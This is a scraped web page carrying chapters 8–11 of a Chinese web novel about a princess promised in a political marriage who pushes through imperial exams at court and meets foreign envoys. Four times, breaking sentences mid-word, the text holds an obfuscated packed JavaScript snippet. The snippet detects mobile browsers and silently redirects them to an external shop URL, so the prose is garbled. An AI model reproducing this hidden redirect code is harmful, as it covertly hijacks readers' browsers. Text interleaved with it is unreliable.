;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341370|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰内心的委屈,虽说景帝的后宫宫妃寥寥,无甚争斗,但这些年来,只有每月的初一十五,景帝才会来仪元殿安寝,算是全了皇后的面子。 至于其余的时候,大都是在椒房殿伴着先后的画像入眠,是以宁泽兰入宫十年都未有孕,如今圣人膝下,不过只有先后所出的一双儿女罢了。 女子又能有几个十年?现如今皇后终于有孕,圣人又为何连个侍医都不肯让步? 竹月心中有些不平,一个公主而已,即便是出自先后的肚子,又如何能越得过皇后去? “殿下,如今永康公主,不,是宁定公主不日就会去和亲了,也不枉殿下费心筹谋一场,那高勒民风彪悍,她可有的苦头吃呢!” 听了竹月的这番话,宁泽兰才笑了,也是,等永康去了高勒,看她到时候还能摆出什么公主的架子。 “高勒虽地处偏远,条件艰苦,但永康带了这么多嫁妆,想来也能舒坦几年,只是等几年后,吾腹中的皇子立起来了,那永康也阻不了吾的路了,吾的皇子,身负世家血脉,哪是那区区商户所生的皇子可比的?” 宁泽兰一边摩挲着小腹,一边畅想着腹中孩子的未来。 在她看来,世族的血脉生来便比旁人尊贵,身负世族血脉的皇子,自然是最聪明强壮的,待她腹中的皇子长成,景帝便会知道,到底什么样的皇子才能担得了储君的重任。 …… 宁泽兰正为腹中的皇子筹谋着,却并不知道恒昌殿里,景帝却在盘问着太医令。 “皇后为什么会怀有身孕?”景帝冷着脸询问道。 太医令匆匆赶来,又遭遇如此责问,早已是满头大汗,支支吾吾不知说什么才好。 “这……这……圣人所服的避子汤还是先前的方子,未免伤及龙体,余不敢用猛药,此次皇后有孕,想来只是意外罢了……” “好一个意外!”景帝冷着脸吩咐郑德贤:“你去让他们查,给朕查明白,是皇后的母族,还是其他世家动了手脚!后宫勾结前朝,他宁家真以为这江山万民是他们世家的掌中之物不成?” “是,奴遵旨。”郑德贤行了个揖礼,躬身退下吩咐暗卫去了。 郑德贤已经许久没见景帝如此大怒过了,今上是贤德之君,最是宽厚不过,甚少有怒形于色的时候,看来这一次,有人要遭罪了。 在阳光照不到的地方,许许多多的暗卫已经暗中排查起后宫的各个宫人,一夜之间,不知砍断了多少宁家为皇后埋下的暗桩。 第二日,景国皇宫依旧是金碧辉煌,蓬勃大气,空气中隐隐蔓延的血腥味儿早已散去,一片岁月静好之象。 今日正是五日一朝的大朝会,各级官员天还未亮就起身往皇宫赶了,公主府离得近,永康公主自然不用起这么早,晨曦初露之时方才起身,草草用了早膳,便坐上了马车,一边赶路,一边核对笏板上记录的上奏诸事有无遗漏。 这是她参与的最后一次大朝,自然该将一应事宜都安排好,狠狠啃掉世族的一块肉,方能消这被迫和亲之恨。 8. 第八章 永康公主位比亲王,为正一品,位置自然在朝堂最前列,和几位耆老重臣平起平坐。 待内臣唱了礼,众臣皆肃立,齐行揖礼,景帝端坐于案桌之前,略一抬手,内臣便唱道:平身。 众臣这才落座,纷纷从缁带中取出朝笏,又从发髻中或囊带中抽出毛笔,凝神竖耳,时刻准备着记录朝会要点。 此次朝会,最重要的自然是和亲一事,内臣将拟好的诏书交给太常,太常便捧起诏书,宣告:征平十一年七月廿五,帝诏曰: 征平十年,北狄祸于外关,白骨露野,烽火连天。后高勒与景结盟,共讨北狄,收复前朝失地十余城。今边关已平,高勒欲求两国永世结好,屡上国书求娶公主。 咨尔长女,盖禀天钟,幼而聪慧,颖悟绝伦;丽质天成,容色倾城;典则俊雅,嘉言懿行,适婚嫁之时,今册封为宁定公主,下嫁高勒。 公主大义,范懿万世,特赐边关十六城为其封地,城内军民财政,悉听节制。另赐食邑五千户,黄金千两,绢帛万匹。布告天下,咸使闻之! 诏书一下,众臣面上都露出惊异之色,边关十六城,这可是本朝赐下的唯一一块封地,又是边关这般重要的关口,居然就赐给了一个公主? 如今公主即将下嫁高勒,若是被外族游说,生起不臣之心,那边关岂不是危在旦夕? 且那永康公主原本就有五千食邑,今日成了宁定公主,再加五千食邑,食邑万户,那是何等的尊荣? 一时间,朝中议论纷纷,特别是宁家一派,对此封诏书的不满之意已经挂在了脸上。 有了封地和万户食邑,这宁定公主以后肯定会是太子一派的一大助力,那皇后腹中的皇子又该如何筹谋大位? 若是日后太子登基,有了宁定公主的助力,穆家军权在手,边关安定,邦交稳固,财政富足,大可徐徐清理朝政,排除异己,届时他们士族又该何去何从? 宁相眸色一沉,几不可见地扫了身侧的官员一眼。 得了宁丞相的授意,丞相司直整了整衣冠,正要起身上奏,就被突然窜起身的大司农抢了先。 “圣人英明,此诏应天顺时,臣有要务容禀!” 景帝抬手示意,大司农便道:“昨日永康公主邀臣进府商议桑田之事,行至前院花圃,臣偶然瞥见一片稻谷,其稻穗比寻常稻谷长两寸有余,且分蘖甚多,依臣所见,此乃上天感怀圣人大治及公主大义,方赐下如此祥瑞!” 大司农一边说,一边从囊袋中翻出一株水稻,双手奉上。 内臣接过水稻,先呈交给景帝过目,景帝看过,连声称好,笑着摆手让内臣呈给诸位大臣逐一过目。 耕战是景国的立国之本,就算诸多大臣皆出身世家大族,但却不是五谷不分之辈,区区水稻自然还是识得的。 诸位大臣细细看了,眼前的水稻竟果真与普通的水稻不一样,稻穗长了许多,也密了不少,掂起来沉甸甸的,瞧着就让人心喜。 嘉禾虽只是下瑞,却与百姓生计息息相关,也算是立国至今了不得的一样祥瑞了,足矣说明景国立国之正,景帝治国之明。 “祥瑞,果真是祥瑞!”太卜看过了嘉禾,激动地站起身来,欢喜道:“臣于昨日夜观天象,见瑞星与月同辉,隐隐可见赤光,原来这大瑞应在这儿呢!瑞星在东方,正是公主府的位置,这仙稻也恰好生长于公主府上……” 太卜脸色一肃,朗声呼道:“恭喜圣上大治上达天听,公主大义感天动地!” 有了太卜的这番话,众臣也跟着连声高呼:“恭喜圣上大治上达天听,公主大义感天动地!” 一时间,朝中的气氛热闹极了,呼喊声一直传到了附近的几座宫室。 到了现在,再想抓这诏书的瑕疵已经毫无意义了,公主府应了瑞星和嘉禾两般祥瑞,再想争议公主封赏过盛,那岂不是直接打景帝的脸? 宁丞相只得按下了心思,憋得六腑生火,面红目赤,也不知这大司农是哪里找的妖物,竟没有半点儿破绽。 宁丞相想到方才查看过的那株稻穗,心中惊疑万分,他是不信这些鬼神之说的,但那稻穗,确实过于健壮了,像是变了一个物种一般,也不知是从何处搜罗来的。 听了众臣的恭贺,景帝满面红光,大手一挥,又给了宁定公主一大笔的赏赐。 穆云起身谢恩,又上奏道:“臣掌管桑蚕织锦之事已有数年,参与朝会数百次,发现朝中人才乏继,士族子弟恶知农事,耻亲畎亩,举孝廉者德有余而才不足,选才之事亟需改制。依臣所见,可立科举之制,试而授官。设经义、策问、农学水利、金石工事诸科,天下学子皆得应试。每科前十五名学子均由陛下亲策,以选出前三甲,方为天子门生。” 穆云这番提议一出,朝中又是一片沸反盈天。 士族何以得百年兴旺?盖因垄断学识,垄断推举官员之路。 无论是察举还是辟举,地方和中央官员大都和士族密不可分,孝廉之名,大多有人力造势,辟举的贤才,也大都出身士族。 如今要改选官之制,那岂不是要断了士族荫泽后世,昌盛万代的路了? 偏偏提出这项建议的是圣上最宠爱,方才又大放异彩的宁定公主,若是当真说通了景帝,改了选官之法,朝野岂不是又要动荡一番? 一时间,不少士族出身的官员便齐齐起身,反对这番提议。 “陛下,察举选官之制已经延续数百年,史书中的各个贤才早已证明了察举之制的优势,选官之制重逾千斤,怎可贸然更张?” “是啊陛下,天下贤才,有八成出自于士族,何须如此兴师动众,试而授官?” “执政之能,哪是区区几道策问能试出来的?” 和士族口吻截然相反的是众位武官,朝中的多数武官都是当初跟着穆家一起打江山的老臣,自然是偏向于圣人和公主的。 “哼!考便考吧,难不成众位同僚以为令郎考不过那些出身微末之众?” “哈,各位难不成真是怕了?众位士族子弟靠恩荫察举便可轻易入朝为官,咱们武将的后辈可都是从最末等的小卒做起,刀尖舔血,才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341371|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠着军功为官呢!” “圣人圣明!若是继续沿袭察举之制,再过几代,这朝中便只剩下寥寥三五种姓氏了。朝中政事,若只剩下一家之言,又怎可令百姓信服?” “是啊,察举之制选出来的人才可不一定能通晓政事,就如同李廷尉的长子,没学到乃父的半分本事,甚至见血即晕,何堪大用!” 一时间,文官和武将分出了泾渭分明的两个团体,其余的中立之士也默默缩小自身的存在感,朝堂更显得喧闹了几分。 当然,士族一派也并非都以宁相马首是瞻,冯家最擅治学,族内鸿儒无数,人才辈出,最是清贵,平日里便看不上宁氏钻营投机的风气。 如今宁定公主提出的科举一制倒像是为他们冯家量身定做的选官制度一般。 若是选官之制变更,他们冯家也未尝没有挑战宁家士族之首位置的机会。 御史大夫冯秉仲和朝堂内的其余几位冯家人对视了一眼,皆缄默无言,缩在愤愤不平的文官之后,静观事态发展。 没了冯家人的助力,士族一脉对上武将和宁定公主一派,便稍显颓势了。 “咳……”圣人一抬手,朝堂便逐渐安静了下来。 底下的官员们皆正襟危坐,缄口不言,等待着圣人的决定。 宁相心一沉,知道今日朝堂一仗,他们宁家是输定了。 果然,圣人一开口,便是对科举一制的赞叹。 “确如宁定公主所说,如今的选官之制积弊难除,亟待更张,科举一制倒是个好法子……冯秉仲,朕便命你负责第一届科举,今年科举授官半数,察举授官亦半数,也让众位卿家瞧瞧哪种选官法子更好。” 陛下金口玉言,此话一出,科举选官一事便是定下了。 宁相僵着脸,面色阴沉无比,像是能滴下墨来。然而事至如今,他们宁家也无力转圜,圣上口谕,哪是说改就改的? 和宁相不同,冯秉仲却是面带喜色,稽首谢恩,已经开始思量起科举的分科和各项章程了。 他相信,冯家子弟一定会在这第一年的科举考场上大出风头,到那时候,冯家的才名岂不是能传遍天下,冯家的学堂更会桃李满园。 怀着对未来的憧憬,冯御史踌躇满志,恨不得现在就能列出一个章程来。 殊不知穆云现下也惦记着让寒门学子在首次科举中大放异彩呢。 穆云和景帝早就看出了士族势大的隐患,是以在拓宽云家商行的时候,穆云也新建了许多学堂和书斋供寒门学子学习,只需要定期帮书斋抄书,便能博观万卷,甚至有机会入学堂学习。 如今书籍和知识大都掌控在士族手中,百姓大多目不识丁,有的人活了一生连纸笔都未尝见过,又哪里晓得学识的重要性? 但落魄寒门却清楚读书明理的重要,孝廉之名再广又如何?处理政事可不是靠着一身德行。 有了云氏商行提供资源,那些寒门学子自然是孜孜不倦,含英咀华,势要学出个名堂来。 有了学识,传出才名,便有机会徵辟为官了。 9. 第九章 朝堂众臣已经为着科举一事掐了几轮架,蛮夷邸内的众人才挂着两个黑眼圈起床用早膳。 “台吉昨晚也没睡好?看来这和亲一事确实扰人。”睡眼惺忪的阿日宾看着乌恩其脸上挂着的黑眼圈,打趣道。 乌恩其摇摇头,道:“昨日也并未想事,只是难得失眠一次。” 乌恩其心中也十分不解,昨日他翻来覆去到了半夜,按理说最近没有战事,蛮夷邸的床铺也格外柔软,屋里还放了冰,温度适宜,他怎会失眠呢? 要知道在赶路期间,他都能抓紧时间很快入睡,如今到了这富贵地界,倒是睡不着了,难道是因为他皮糙肉厚,享不来这福? 两人交谈时,巴图也从房中走了出来,边走边打哈欠,显然,他也没睡好。 等看了巴图,阿日宾才在心中称奇,这巴图是一贯心大的人,怎么也挂着两个黑眼圈? 阿日宾暂且将原因归结到水土不服上来,不等他细想,外头的仆从们听见动静,便陆续送来了洗漱之物。 景国的士族过得讲究,蛮夷邸的物什也十分精致,连牙粉都有五六种口味,更别提那柔嫩软滑的绢帛,显然是上好的蚕丝织就,让人不忍上脸。 这么好的布,放在高勒是要用来做成贴身衣物穿的,在景国却用来擦脸。 各位仆从十分有眼力见,将东西送上,一一介绍完毕,又告知了饭厅的位置后便齐齐退去,不敢打扰几位使臣议事。 “今日是景国朝会,想来朝会结束后永康公主和亲的旨意就该布告出来了。”阿日宾一边用蛮夷邸提供的牙粉漱齿,一边说道。 阿日宾提到了永康公主,乌恩其的脑海中便浮现出昨日宴会上那位风华绝代的女子。 这永康公主和他想象中的太不一样,在高勒时他也听说过景国的女子,他的母亲也是前朝的汉女,在他的印象中,景国的女子应该是温婉娴静的。 更别提这皇家娇养出来的公主,不知该多娇柔可怜。 然而昨日的永康公主,却和他印象中的景国女子大相径庭,端庄又强势,冷静而理智,果真是皇室贵女,有着天家教养出来的气派。 “和亲一事敲定,也不知何时才能迎公主回去。”乌恩其在心中盘算着日子,公主和亲,太卜肯定会选个良辰吉日,又是一番耽搁。 想到高勒痼疾发作的父汗和虎视眈眈的大台吉,乌恩其有些坐不住了。 “走,咱们先去用早膳,只等着圣旨下达就是。” 蛮夷邸内,早膳是早早就备齐全了的,等几位使臣都动身去了饭厅,便有人捧着大大小小的盘盏过来了。 饶是昨日在宴席上已经大开了眼界,几人还是惊叹于这景国吃食的花样。 洁白的索饼以鲫鱼汤为汤底,上头铺着汆熟的鱼片和油煎的豆腐,搭配着韭菜鸡蛋、凉拌胡瓜和蒸肉饼等等小菜。 桌上还有稠厚的粟米粥,壳脱得极干净,金黄的一碗,不见一丝杂质,配了金黄流油的咸蛋和香脆可口的酱菜。 当然,还有各式各样的蒸饼,有馅的,没馅的,咸口的,甜口的,总能满足每个人的口味。 捧着精致的瓷碗,用着花样繁多的早膳,几位使臣别提多满足了,就连乌恩其都忍不住贪嘴。 几人在高勒虽说地位不低,但吃食上可没这么讲究,虽说能比寻常族人多吃些畜肉,但平日里还是以乳食和粗粮为主,哪里享过这样的福。 “啧,这景国的东西是精巧,就是小了些,看这蒸饼,一口就闷了,嗯……香!里头还淌肉汤呢!”巴图直接端了一盘子蒸饼往嘴里塞,边吃边夸,露出一片餍足神色。 “由俭入奢易,由奢入俭难。就是不知道金尊玉贵的公主去了高勒还呆不呆得惯,吃惯了米面的汉人如何吃得惯乳食呢?”阿日宾一边慢条斯理地用瓷勺舀粥喝,一边感叹道。 “公主千娇百宠,想来景帝会安排好。开弓没有回头箭,她也没的选。”乌恩其一边回答,一边在脑海中勾勒着盛装华服的公主站在灰扑扑的毡帐外的景象,实在是太不相称…… “也是,一个女子,怎能违抗景帝的旨意,况且这桩婚事又干系到两国盟约……啧,若是大汗未曾见过永康公主的画像,景帝随便从民间选个吃过苦的农女过去,怕是还适应得好些。若是永康公主适应不了高勒的水土,生了疾病,消息传回来,怕又是一番腥风血雨……”阿日宾摇摇头,语气中满是可惜。 “行了,快些吃饭,你不是还想去医馆看看吗?别忘了,此次来景国,采买药材也是一大要事。”乌恩其打断了阿日宾的话。 在乌恩其的催促下,几人用餐的速度快了不少,但还是努力尝遍了每一样吃食。 享受完了早餐,几人便去马厩看了自己的马儿。 蛮夷邸的仆从照顾使臣们的马格外精心,几匹马很有精神,瞧见了自己的主人,高兴得连连打着响鼻,那油光水滑又机灵的样子,一瞧便知这几个畜生也和他们一样,吃爽了。 婉拒了译官和典客跟随的请求,几个人打算自己去逛逛这景国京城。 作为国家的政治中心,京城自然是富庶之地,东西南北四个市都繁荣极了。 等使臣们骑着战马溜达到医馆最多、药市最大的北市,市集外面已经张贴了榜文,旁边有小吏正将榜文的内容依次宣读出来,周边聚了一大片围观的百姓。 几人也不靠拢,只凝神听着小吏的宣读和周边百姓的反应。 “咨尔长女,盖禀天钟……今册封为宁定公主,下嫁高勒。” 小吏刚宣告了这消息,围观的百姓们便议论纷纷。 “永康公主居然要嫁给鞑子?她可是治蝗功臣,又组织规整了桑田和织锦工坊,徵辟了多少实干官员,立下了这么多功劳?怎么能去和亲呢?” “怎么是鞑子?公主是嫁去高勒,高勒和咱景国的关系还不错,去年还一起攻退了北狄,收复了前朝失地呢!只是公主……实在可惜了……” “啧,公主而已,就算立下了这么多功劳,还不是远嫁和亲的命? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341372|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是那些赏赐和食邑可惜了,给一个公主有什么用?还不是拿去养高勒人?” “这可不是普通公主,这可是陛下的独女,由元后所生,自小就是和寻常皇子一般教养的,不然能有如此智谋,立下这么大的功劳?要不是公主治蝗有功,米价怕是能涨到天上去,普通人家只能等着饿死,你还能有力气在这儿说风凉话?” 宣读布告的小吏并不管这些争执,只敲了敲铜锣让众人噤声,便又继续宣读:“昨日大司农于公主府内见嘉禾数株,太卜夜观天象,亦见瑞星伴月,此两般祥瑞,盖因圣人大治上达天听,公主大义感天动地!” 世人皆信鬼神,此二般祥瑞的消息一出,大伙儿便议论得更加激烈了。 “瑞星?我昨晚也瞧见了,那星子可亮,差点儿能与明月争辉了。” “果真是天生的嘉禾?也不知这嘉禾可能留种?我记得大雍也曾有嘉禾现世,可惜留的种却依旧是寻常样子。” “两般祥瑞齐聚,啧啧啧,这可不一般,我看用不了多久边关战事即可平,这是盛世将至之象啊……” “果真是公主大义感天动地,瑞星嘉禾才同时现世,公主去往高勒和亲,又能换来许久的太平,此乃造福苍生之义举啊!” 众人感念良多之时,小吏又宣告道:“宁定公主献策,拟行科举之制,试而授官,天下学子皆可应试……御史大夫领命推行科举一事,拟分郡试,洲试,会试,殿试四级,行糊名、誊录、搜检锁院及回避等制度,以保公正。” 和前面两条布告不同,拟行科举的布告一出,百姓们的讨论越发激烈了起来。 前面两条布告他们一听也就过了,但科举一事可是和众人息息相关。 自古以来,选官途径几乎都被士族掌控,各人的门第阶级从出生起便已注定,若是行科举之法,那岂不是下等寒门子弟甚至是田舍郎也有机会入仕为官了? 这则布告虽只是拟行科举制的榜文,但只要朝中有人撕开了这个口子,只要有人牵头,科举选官制度早晚都会落地的。 一时间,宁定公主的名头便印在了许多寒门学子的脑中,因为宁定公主的一条献策,他们的人生,便有出路了…… 几张布告一出,榜文附近热闹极了,众人的交谈声混在一起,让人辨别不明。 粗略听了一耳朵,乌恩其心底闪过一丝讶异。 这位宁定公主比自己想象中还要厉害得多。 初时只了解她治蝗之事,乌恩其只觉得是位心系百姓的公主,如今又听了这些,乌恩其才明白这位宁定公主的手段了得。 看来这位公主和士族之间有矛盾……那这和亲一事,说不定就是士族促成的,不然公主的画像怎么会流落到高勒王帐呢? 一个公主,竟然能让士族忌惮至此,这位公主的手段可见一斑。 乌恩其拨动着指上的红玉扳指,勾了勾嘴角,有手段也好,有手段才能保护自己。 想来这位公主,在高勒草原也能活得风生水起。 10. 第十章 布告一出,就代表着离和亲启程不远了,只等着太卜测算好良辰吉日,出发之日就该定下了。 穆云一下了朝,同刘琦、白芷和大司农交接好桑蚕织锦及嘉禾育种之事后便回了岁稔斋,连朝服都没换下,便急急忙忙让人去寻了与高勒有关的游记。 知己知彼,百战不殆,要出发去高勒和亲,最重要的便是了解其地的水土风俗。 景国方才建国十年余,自然只能找到前朝及之前的高勒游记,穆云挑拣出一本最厚的,慢慢翻看。 这位学者是前朝的文人,趁着高勒无灾无患,边关安稳的那几年去高勒游历,带回来几车竹简,均是自己在高勒的见闻。 景国初立后,穆云便建议景帝将前朝的竹简均整理成纸质文本,方便查阅。 托云家财大气粗的福,造纸一事不成问题,这整理竹简文书的工作进行得很顺利,穆云这才能捧着一本“书”来查阅游记。 游记虽是白描,却十分引人入胜,顷刻间便能将人拉进草原游牧生活之中。 看着里面的记载,穆云渐渐皱起了眉头。 果真是未开化的地方,有的高勒人真的是茹毛饮血之辈,居然会生吃猎物,长此以往,不知体内会有多少寄生虫。 穆云在脑中的计划里添上一条:多带些苦楝皮、南瓜子一类的驱虫药和肥皂、澡豆等清洁用品。 继续看下去,穆云才知道,原来印象中以畜肉为主食的高勒仅仅只是个谣言,大部分的牧民都是以乳制品和粗粮、草籽等为主食,牲畜属于生产资料,是不会轻易杀了吃肉的,平日里多是吃狩猎来的猎物。 看来在生产力极度低下的古代,天下百姓的日子都不好过。 细细看下去,穆云不由对未来高勒生活产生了一丝绝望。 如今高勒的奶制品还十分粗放,只会饮用鲜奶和储存晒干的奶皮子,冬季的食物十分匮乏,普通牧民年年都有被饿死的风险。 草原上的自然灾害显得更加凛冽一些,雪下太大,容易害白灾,雪下少了,又会害黑灾,而且草原中燃料极度稀缺,取暖又是一个大问题,几乎年年都有被冻死的牲畜和牧民。 穆云叹了一口气,和亲高勒,确实是比她想象中还要艰苦一些。 不,事实是在这个生产力低下的年代,无论是哪族人,吃饱穿暖对于每一个底层人来说都是一场奢侈的梦。 更别提身处乱世之中,活着的每一天都像是赚来的一般,朝荣夕毙的恐惧如同一座大山,时刻压在人们的心头。 若不是她穿越成了武将子弟和富商小姐的闺女,恐怕也会同白芨她们一样,家破人亡,无枝可依。 游记中的部落之争又让她想起了小时候的回忆,战争之下,血腥弥漫中,满是哭号,令人齿冷心凉。 心情低落了一会儿,穆云叹了一口气,又再次捧起了游记。 这一次总算有个好消息了。高勒牧区居然也会“种田”! 虽说是十分粗放的种植,仅仅只是春季将种子撒到地里,秋季回来收获,旁的一概不管,收成全看“腾格里”的心情。 但在穆云看来,能忍住一冬的饥饿,努力省下粮种来“种植”,这已经是个了不起的进步了。 而且这也或许意味着,高勒也有大片适合耕种的土地,自己的育种工作说不定能在那片土地重新发芽。 怀着那一丝希冀,穆云更是鼓足了干劲,誓要在高勒也活出个风风光光的人样来。 她要让宁皇后和士族都知道,知难而退可不是永康公主的作风,迎难而上才是她穆云的品格! 皇后再忌惮她又如何,即使是将她送去和亲,她也会努力成长,成为更加令他们忌惮的人。 一时心潮澎湃,穆云书也看不进了,索性去后院找了正在晾晒药材的白术。 “白术,走,咱们去药市一趟,除了嫁妆里有的药材,我们还要再备一批常用的驱虫药和兽药。” 穆云换了简便的常服,带着白术和几名侍卫乘车来到了北市。 本来这些采购药材的活儿交给管家和下人便可,但她看游记看得烦闷,正好来北市透透气。 换上常服,戴上面纱,众人便只会认为这是哪家的端庄娘子上街采买,谁能猜出她公主的身份呢? 如今市口布告处已经没了方才的喧闹,但还是挤了一大片人,小吏依旧在兢兢业业地宣告榜文。 马车穿过市口,径直来到了最大的一间药铺。 白术领着穆云进去,“这间药铺的药材品质最佳,往年府内的药材采买均来自于此。” 穆云点点头,抓了一把最常见的甘草片,只看这一样,便知道这间药铺做的是实诚生意了。 甘草片的大小十分均匀,显然是去除了弱根,质地干燥坚实,菊花心清晰,没有一丝水分。 “东家,驱虫药在哪里?领我们去瞧瞧。”在穆云的授意下,白术招呼着东家过来。 “驱虫药不常用,又有小毒,小店便放在内间。小人这便领各位贵人去瞧瞧。” 如今景国自然是没有山道年蒿的,只有川楝子、鹤草芽、雷丸等等药材,用量十分讲究,一过量便是毒药了。 “内服驱虫的药和外用的避虫药我们都要,有多少要多少。”穆云一边吩咐,一边跟着东家去往内间,加上白术和几个侍卫,浩浩荡荡的一路人,十分引人注目。 乌恩其看见穆云的第一眼,便认出了她。 如此风华绝代之人,只一眼便让他记住了身形和行姿。 他慢条斯理地放下手里的药材,笑道:“公主也来采购药材?” 穆云步伐一顿,抬眼一看,眸中闪过一丝讶异。 没想到这么巧,恰好遇上了高勒使臣,还一眼就被人认出来了,这高勒的四台吉果真会汉话,倒是和父皇说的一样。 “四台吉,”穆云偏头摘下了面纱,笑道:“真是巧了,没想到台吉也来逛药铺。听说高勒的外治疗法十分了得,我景国又更加擅长针药,以后倒是可以互相学习切磋一番。” “公主客气,高勒一向是缺医少药之地,医术实在粗劣,若是能从公主的侍医手上学得几招,那才是我高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341373|199345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勒的福气。” 没想到这高勒四台吉看着人高马大的,居然还会说客套话。不过现在并不是客套的时候,她可是来办正事的。 “四台吉言重了,医术皆是用来治病救人的,哪能分个优劣?”穆云应付了一句,便继续办她的正事了。 “东家,带我们看看药材吧,内服的驱虫药和外用的避虫药都拿些来,避虫药要帮我们磨成粉,分装进香囊,直接送到公主府,管家会给你结银钱。” 药铺的东家早认出了使臣一行人,也清楚为首的那人可能是高勒四台吉,但他没想到,他这间小店,居然能让宁定公主踏足,东家的脊背更挺直了几分,面上满是激动。 东家深深行了个揖礼,道:“公主的义举今早便已布告天下,公主能踏足小店,小店蓬荜生辉,已是万分有幸,哪里还能收公主的银钱?这批驱虫药和避虫药便记在小店的账上,只愿公主旅途无恙,免受蛇虫鼠蚁的烦忧。” “哪能让公主破费,”乌恩其笑了:“既然是驱虫药和避虫药,想来大多都是用在我高勒子民身上,那自然该由我高勒承担才是。阿日宾,待会儿把账一起结了。” 乌恩其这话一出,穆云的心中闪过一丝讶异,这高勒人倒是讲理,并不是自己想象中未经教化,不明礼义的样子。 “既然四台吉有心,我也不好越俎代庖,反倒抢了你对高勒百姓的一片慈心。” “公主过誉,我身为高勒台吉,自然该以高勒子民为重。” 看着身材魁梧的乌恩其嘴里吐出这些文绉绉的谦辞,穆云觉得好笑,忍不住勾唇道:“台吉的汉话倒是说得好。” “我母亲也是汉人,教我说过一些汉话,只是她去得早,我也只学了个皮毛,倒是令公主见笑了。”乌恩其也明白自己的汉话说得不怎么样,倒是十分洒脱。 “那我去了高勒,也能有个合适的译官了。”穆云打趣道。 “若是公主需要,尽管差遣便是。”乌恩其一边说,一边上前了一步,仅离穆云一步之外。 乍然拉近的距离,令穆云忍不住抬头,距离近了,两人的身形差距也顷刻显露出来,眼前的蛮人像是一座大山,虽是没有肌肤之亲,但周边的空气仿佛都染上了这人的气势。 “差遣……”穆云又笑了,“也是,待我嫁给大汗,成为可敦,你也该喊我一声额吉了,那自然该任我差遣。” 穆云此话一出,乌恩其顿时满面涨红,又说不出话来反驳,憋了一肚子的火。 偏偏巴图和阿日宾又听不懂汉话,只以为是眼前的公主冒犯了自家台吉,巴图上前一步,已然摩拳擦掌,蠢蠢欲动了。 乌恩其将两人按下,道:“公主说笑了,公主比我还小两岁,哪能当小王的额吉呢?只是公主远道而来,小王自该尽心才是。” 这高勒台吉倒是比穆云预想中还能忍,穆云心中生出一丝警惕来,看来这不通教化的高勒,也不乏心思深沉之人。 “方才不过是玩笑话罢了,既然我应了这两国联姻,自然会请译官教授一些高勒语,不必令台吉费心。” 11. 第十一章 穆云简单了结了这场对话,便转身离开了药铺。 徒留乌恩其几人站在原地,看着公主远去的背影出神。 “台吉,这景国公主说了些啥?怎么还把你惹生气了?”巴图抠抠脑袋,问道。 “生气?那倒没有,只是这宁定公主,倒是比我预想中有趣。”乌恩其玩味地看了一眼药铺门口,道。 公主早已远去,只是空气中还留着一股子若有若无的香气,不是馥郁的花香,也不是沉厚的木香,倒像是一种果香,在炎炎夏日里格外清爽,恰到好处。 “阿日宾,你看看还缺什么药材?待会儿和这些驱虫的药一起结账。”乌恩其回过神来,吩咐道。 阿日宾这才压下疑惑,专心核对药材,心里想着,看来要将学习汉话的打算提前了,不然看热闹都看不着热乎的。 …… 待穆云回了府,译官也已经到了。 即将和亲高勒,穆云自然要学习高勒语,总不能真让高勒四台吉亲自教授,万一对方在教授过程中埋了点儿言语陷阱就不好了。 前来教授穆云高勒语的是一位女子,瞧着年纪已经不小了。 “公主。”译官行礼过后,便主动介绍起自己的来历。 “小人是当年被高勒掳去的女奴,曾伺候过高勒的一位将军,这才学会了高勒话。” 穆云心里一惊,没想到这位译官的来历竟是如此。 似乎是看出了穆云脸上的歉疚,那位译官笑道:“小人此去倒是好运,遇到的主子不是爱苛责人的,这才让我保住了命,还学了高勒话,有了个谋生的本事,恰逢圣朝立国之后从高勒赎回一些奴隶,小人才得以归乡。” 穆云哪里不知道,这三言两语虽然简单,却蕴藏着译官前半生的不幸,这身本事,也都是苦出来的。 “夫子也算是苦尽甘来,今后倒是能顺遂无忧了。” 